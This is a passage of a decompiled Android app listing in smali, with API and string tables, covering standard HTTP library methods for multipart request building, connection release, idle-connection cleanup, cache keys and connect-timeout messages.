        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getValue
        • java.util.Map$Entry.getKey
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getValue
        • java.util.Map$Entry.getKey
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getValue
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5new-instance v0, Lcom/loopj/android/http/SimpleMultipartEntity;
        7invoke-direct {v0, p1}, Lcom/loopj/android/http/SimpleMultipartEntity;-><init>(Lcom/loopj/android/http/ResponseHandlerInterface;)V
        8iget-boolean p1, p0, Lcom/loopj/android/http/RequestParams;->isRepeatable:Z
        10invoke-virtual {v0, p1}, Lcom/loopj/android/http/SimpleMultipartEntity;->setIsRepeatable(Z)V
        12iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->urlParams:Ljava/util/concurrent/ConcurrentHashMap;
        14invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        15move-result-object p1
        17invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        18move-result-object p1
        19goto_14:
        20invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        21move-result v1
        22if-eqz v1, :cond_32
        24invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        25move-result-object v1
        26check-cast v1, Ljava/util/Map$Entry;
        28invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        29move-result-object v2
        30check-cast v2, Ljava/lang/String;
        32invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        33move-result-object v1
        34check-cast v1, Ljava/lang/String;
        36iget-object v3, p0, Lcom/loopj/android/http/RequestParams;->contentEncoding:Ljava/lang/String;
        38invoke-virtual {v0, v2, v1, v3}, Lcom/loopj/android/http/SimpleMultipartEntity;->addPartWithCharset(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        39goto/16 :goto_14
        40cond_32: const/4 p1, 0x0
        42iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->urlParamsWithObjects:Ljava/util/concurrent/ConcurrentHashMap;
        44invoke-direct {p0, p1, v1}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        45move-result-object p1
        47invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        48move-result-object p1
        49goto_3d:
        50invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        51move-result v1
        52if-eqz v1, :cond_57
        54invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        55move-result-object v1
        56check-cast v1, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        58invoke-virtual {v1}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;->getName()Ljava/lang/String;
        59move-result-object v2
        61invoke-virtual {v1}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;->getValue()Ljava/lang/String;
        62move-result-object v1
        64iget-object v3, p0, Lcom/loopj/android/http/RequestParams;->contentEncoding:Ljava/lang/String;
        66invoke-virtual {v0, v2, v1, v3}, Lcom/loopj/android/http/SimpleMultipartEntity;->addPartWithCharset(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        67goto/16 :goto_3d
        68cond_57:
        69iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->streamParams:Ljava/util/concurrent/ConcurrentHashMap;
        71invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        72move-result-object p1
        74invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        75move-result-object p1
        76cond_61:
        77invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        78move-result v1
        79if-eqz v1, :cond_87
        81invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        82move-result-object v1
        83check-cast v1, Ljava/util/Map$Entry;
        85invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        86move-result-object v2
        87check-cast v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;
        89iget-object v3, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->inputStream:Ljava/io/InputStream;
        90if-eqz v3, :cond_61
        92invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        93move-result-object v1
        94check-cast v1, Ljava/lang/String;
        96iget-object v3, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->name:Ljava/lang/String;
        98iget-object v4, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->inputStream:Ljava/io/InputStream;
        100iget-object v2, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->contentType:Ljava/lang/String;
        102invoke-virtual {v0, v1, v3, v4, v2}, Lcom/loopj/android/http/SimpleMultipartEntity;->addPart(Ljava/lang/String;Ljava/lang/String;Ljava/io/InputStream;Ljava/lang/String;)V
        103goto/16 :goto_61
        104cond_87:
        105iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->fileParams:Ljava/util/concurrent/ConcurrentHashMap;
        107invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        108move-result-object p1
        110invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        111move-result-object p1
        112goto_91:
        113invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        114move-result v1
        115if-eqz v1, :cond_b3
        117invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        118move-result-object v1
        119check-cast v1, Ljava/util/Map$Entry;
        121invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        122move-result-object v2
        123check-cast v2, Lcom/loopj/android/http/RequestParams$FileWrapper;
        125invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        126move-result-object v1
        127check-cast v1, Ljava/lang/String;
        129iget-object v3, v2, Lcom/loopj/android/http/RequestParams$FileWrapper;->file:Ljava/io/File;
        131iget-object v4, v2, Lcom/loopj/android/http/RequestParams$FileWrapper;->contentType:Ljava/lang/String;
        133iget-object v2, v2, Lcom/loopj/android/http/RequestParams$FileWrapper;->customFileName:Ljava/lang/String;
        135invoke-virtual {v0, v1, v3, v4, v2}, Lcom/loopj/android/http/SimpleMultipartEntity;->addPart(Ljava/lang/String;Ljava/io/File;Ljava/lang/String;Ljava/lang/String;)V
        136goto/16 :goto_91
        137cond_b3:
        138iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->fileArrayParams:Ljava/util/concurrent/ConcurrentHashMap;
        140invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        141move-result-object p1
        143invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        144move-result-object p1
        145cond_bd:
        146invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        147move-result v1
        148if-eqz v1, :cond_ef
        150invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        151move-result-object v1
        152check-cast v1, Ljava/util/Map$Entry;
        154invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        155move-result-object v2
        156check-cast v2, Ljava/util/List;
        158invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        159move-result-object v2
        160goto_d3:
        161invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        162move-result v3
        163if-eqz v3, :cond_bd
        165invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        166move-result-object v3
        167check-cast v3, Lcom/loopj/android/http/RequestParams$FileWrapper;
        169invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        170move-result-object v4
        171check-cast v4, Ljava/lang/String;
        173iget-object v5, v3, Lcom/loopj/android/http/RequestParams$FileWrapper;->file:Ljava/io/File;
        175iget-object v6, v3, Lcom/loopj/android/http/RequestParams$FileWrapper;->contentType:Ljava/lang/String;
        177iget-object v3, v3, Lcom/loopj/android/http/RequestParams$FileWrapper;->customFileName:Ljava/lang/String;
        179invoke-virtual {v0, v4, v5, v6, v3}, Lcom/loopj/android/http/SimpleMultipartEntity;->addPart(Ljava/lang/String;Ljava/io/File;Ljava/lang/String;Ljava/lang/String;)V
        180goto/16 :goto_d3
        181cond_ef: return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.atomic.AtomicBoolean.get
        • java.lang.System.currentTimeMillis
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.TimeUnit.toMillis
        Strings
        • Connection
        • Connection not obtained from this manager
        • Releasing connection
        • for
        • indefinitely
        • Connection can be kept alive
        Position Instruction Meta Information
        0monitor-enter p0
        1try_start_1:
        2const-string v0, "Connection"
        4invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        6iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->conn:Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        7const/4 v1, 0x0
        8if-ne p1, v0, :cond_d
        9const/4 v0, 0x1
        10goto/16 :goto_e
        11cond_d: const/4 v0, 0x0
        12goto_e:
        13const-string v2, "Connection not obtained from this manager"
        15invoke-static {v0, v2}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        17iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        19invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        20move-result v0
        21if-eqz v0, :cond_31
        23iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        24new-instance v2, Ljava/lang/StringBuilder;
        26invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        28const-string v3, "Releasing connection "
        30invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        35move-result-object p1
        37invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        38cond_31:
        39iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->isShutdown:Ljava/util/concurrent/atomic/AtomicBoolean;
        41invoke-virtual {p1}, Ljava/util/concurrent/atomic/AtomicBoolean;->get()Z
        42move-result p1
        43try_end_37: if-eqz p1, :cond_3b
        44monitor-exit p0
        45return-void
        46try_start_3b:
        47invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        48move-result-wide v2
        49iput-wide v2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->updated:J
        51iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->conn:Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        53invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->isOpen()Z
        54move-result p1
        55const-wide v2, 0x7fffffffffffffffL
        56if-nez p1, :cond_58
        57const/4 p1, 0x0
        58iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->conn:Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        59iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        60iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->conn:Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        61iput-wide v2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->expiry:J
        62goto/16 :goto_ab
        63cond_58: iput-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->state:Ljava/lang/Object;
        65iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        67invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        68move-result p1
        69const-wide/16 v4, 0x0
        70if-eqz p1, :cond_9a
        71cmp-long p1, p3, v4
        72if-lez p1, :cond_82
        73new-instance p1, Ljava/lang/StringBuilder;
        75invoke-direct {p1}, Ljava/lang/StringBuilder;-><init>()V
        77const-string p2, "for "
        79invoke-virtual {p1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-virtual {p1, p3, p4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        83const-string p2, " "
        85invoke-virtual {p1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        87invoke-virtual {p1, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        89invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        90move-result-object p1
        91goto/16 :goto_84
        92cond_82:
        93const-string p1, "indefinitely"
        94goto_84:
        95iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        96new-instance v0, Ljava/lang/StringBuilder;
        98invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        100const-string v6, "Connection can be kept alive "
        102invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        104invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        106invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        107move-result-object p1
        109invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        110cond_9a: cmp-long p1, p3, v4
        111if-lez p1, :cond_a9
        112iget-wide p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->updated:J
        114invoke-virtual {p5, p3, p4}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        115move-result-wide p3
        116const/4 p5, 0x0
        117add-long/2addr p1, p3
        118iput-wide p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->expiry:J
        119goto/16 :goto_ab
        120cond_a9: iput-wide v2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->expiry:J
        121goto_ab: iput-boolean v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->leased:Z
        122try_end_ad: monitor-exit p0
        123return-void
        124catchall_af: move-exception p1
        125try_start_b0: iput-boolean v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicHttpClientConnectionManager;->leased:Z
        126throw p1
        127try_end_b3: move-exception p1
        128monitor-exit p0
        129throw p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        • java.util.concurrent.locks.Lock.lock
        • java.util.Queue.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Date.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Iterator.remove
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Time unit
        • Closing connections idle longer than
        • Closing connection last used @
        Position Instruction Meta Information
        1const-string v0, "Time unit"
        3invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        4const-wide/16 v0, 0x0
        5cmp-long v2, p1, v0
        6if-lez v2, :cond_c
        7goto/16 :goto_d
        8cond_c: move-wide p1, v0
        9goto_d:
        10iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        13move-result v0
        14if-eqz v0, :cond_33
        16iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        17new-instance v1, Ljava/lang/StringBuilder;
        19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        21const-string v2, "Closing connections idle longer than "
        23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {v1, p1, p2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        27const-string v2, " "
        29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        33invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object v1
        36invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        37cond_33:
        38invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        39move-result-wide v0
        41invoke-virtual {p3, p1, p2}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        42move-result-wide p1
        43sub-long/2addr v0, p1
        45iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        47invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->lock()V
        48try_start_41:
        49iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        51invoke-interface {p1}, Ljava/util/Queue;->iterator()Ljava/util/Iterator;
        52move-result-object p1
        53goto_47:
        54invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        55move-result p2
        56if-eqz p2, :cond_89
        58invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        59move-result-object p2
        60check-cast p2, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        62invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getUpdated()J
        63move-result-wide v2
        64cmp-long p3, v2, v0
        65if-gtz p3, :cond_47
        67iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        69invoke-virtual {p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        70move-result p3
        71if-eqz p3, :cond_82
        73iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        74new-instance v2, Ljava/lang/StringBuilder;
        76invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        78const-string v3, "Closing connection last used @ "
        80invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81new-instance v3, Ljava/util/Date;
        83invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getUpdated()J
        84move-result-wide v4
        86invoke-direct {v3, v4, v5}, Ljava/util/Date;-><init>(J)V
        88invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        90invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        91move-result-object v2
        93invoke-virtual {p3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        94cond_82:
        95invoke-interface {p1}, Ljava/util/Iterator;->remove()V
        97invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->deleteEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        98try_end_88: goto/16 :goto_47
        99cond_89:
        100iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        102invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        103return-void
        104catchall_8f: move-exception p1
        106iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        108invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        109throw p1
        Cross References
        APIs
        • java.util.ArrayList.<init>
        • java.util.List.add
        • java.util.Collections.sort
        • java.lang.StringBuilder.<init>
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.append
        • java.nio.charset.Charset.name
        • java.net.URLEncoder.encode
        • java.lang.StringBuilder.append
        • java.nio.charset.Charset.name
        • java.net.URLEncoder.encode
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.RuntimeException.<init>
        Strings
        • Vary
        • {
        • &
        • =
        • }
        • couldn\'t encode to UTF-8
        Position Instruction Meta Information
        0new-instance v0, Ljava/util/ArrayList;
        2invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
        4const-string v1, "Vary"
        6invoke-virtual {p2, v1}, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        7move-result-object p2
        8array-length v1, p2
        9const/4 v2, 0x0
        10const/4 v3, 0x0
        11goto_e: if-ge v3, v1, :cond_29
        12aget-object v4, p2, v3
        14invoke-interface {v4}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        15move-result-object v4
        16array-length v5, v4
        17const/4 v6, 0x0
        18goto_18: if-ge v6, v5, :cond_26
        19aget-object v7, v4, v6
        21invoke-interface {v7}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        22move-result-object v7
        24invoke-interface {v0, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        25add-int/lit8 v6, v6, 0x1
        26goto/16 :goto_18
        27cond_26: add-int/lit8 v3, v3, 0x1
        28goto/16 :goto_e
        29cond_29:
        30invoke-static {v0}, Ljava/util/Collections;->sort(Ljava/util/List;)V
        31try_start_2c: new-instance p2, Ljava/lang/StringBuilder;
        33const-string v1, "{"
        35invoke-direct {p2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
        37invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        38move-result-object v0
        39const/4 v1, 0x1
        40goto_38:
        41invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        42move-result v3
        43if-eqz v3, :cond_74
        45invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        46move-result-object v3
        47check-cast v3, Ljava/lang/String;
        48if-nez v1, :cond_4b
        50const-string v1, "&"
        52invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53cond_4b:
        54sget-object v1, Lcz/msebera/android/httpclient/Consts;->UTF_8:Ljava/nio/charset/Charset;
        56invoke-virtual {v1}, Ljava/nio/charset/Charset;->name()Ljava/lang/String;
        57move-result-object v1
        59invoke-static {v3, v1}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        60move-result-object v1
        62invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64const-string v1, "="
        66invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-interface {p1, v3}, Lcz/msebera/android/httpclient/HttpRequest;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        69move-result-object v1
        71invoke-virtual {p0, v1}, Lcz/msebera/android/httpclient/impl/client/cache/CacheKeyGenerator;->getFullHeaderValue([Lcz/msebera/android/httpclient/Header;)Ljava/lang/String;
        72move-result-object v1
        74sget-object v3, Lcz/msebera/android/httpclient/Consts;->UTF_8:Ljava/nio/charset/Charset;
        76invoke-virtual {v3}, Ljava/nio/charset/Charset;->name()Ljava/lang/String;
        77move-result-object v3
        79invoke-static {v1, v3}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        80move-result-object v1
        82invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        83const/4 v1, 0x0
        84goto/16 :goto_38
        85cond_74:
        86const-string p1, "}"
        88invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89try_end_79:
        90invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        91move-result-object p1
        92return-object p1
        93catch_7e: move-exception p1
        94new-instance p2, Ljava/lang/RuntimeException;
        96const-string v0, "couldn\'t encode to UTF-8"
        98invoke-direct {p2, v0, p1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        99throw p2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Arrays.asList
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.io.IOException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.InterruptedIOException.<init>
        • cz.msebera.android.httpclient.conn.ConnectTimeoutException.initCause
        Strings
        • Connect to
        • remote host
        • failed:
        • timed out
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "Connect to "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7if-eqz p2, :cond_11
        9invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        10move-result-object v1
        11goto/16 :goto_13
        12cond_11:
        13const-string v1, "remote host"
        14goto_13:
        15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16if-eqz p3, :cond_31
        17array-length v1, p3
        18if-lez v1, :cond_31
        19new-instance v1, Ljava/lang/StringBuilder;
        21invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        23const-string v2, " "
        25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27invoke-static {p3}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
        28move-result-object p3
        30invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object p3
        34goto/16 :goto_33
        35cond_31:
        36const-string p3, ""
        37goto_33:
        38invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        39if-eqz p1, :cond_54
        41invoke-virtual {p1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        42move-result-object p3
        43if-eqz p3, :cond_54
        44new-instance p3, Ljava/lang/StringBuilder;
        46invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        48const-string v1, " failed: "
        50invoke-virtual {p3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {p1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        53move-result-object v1
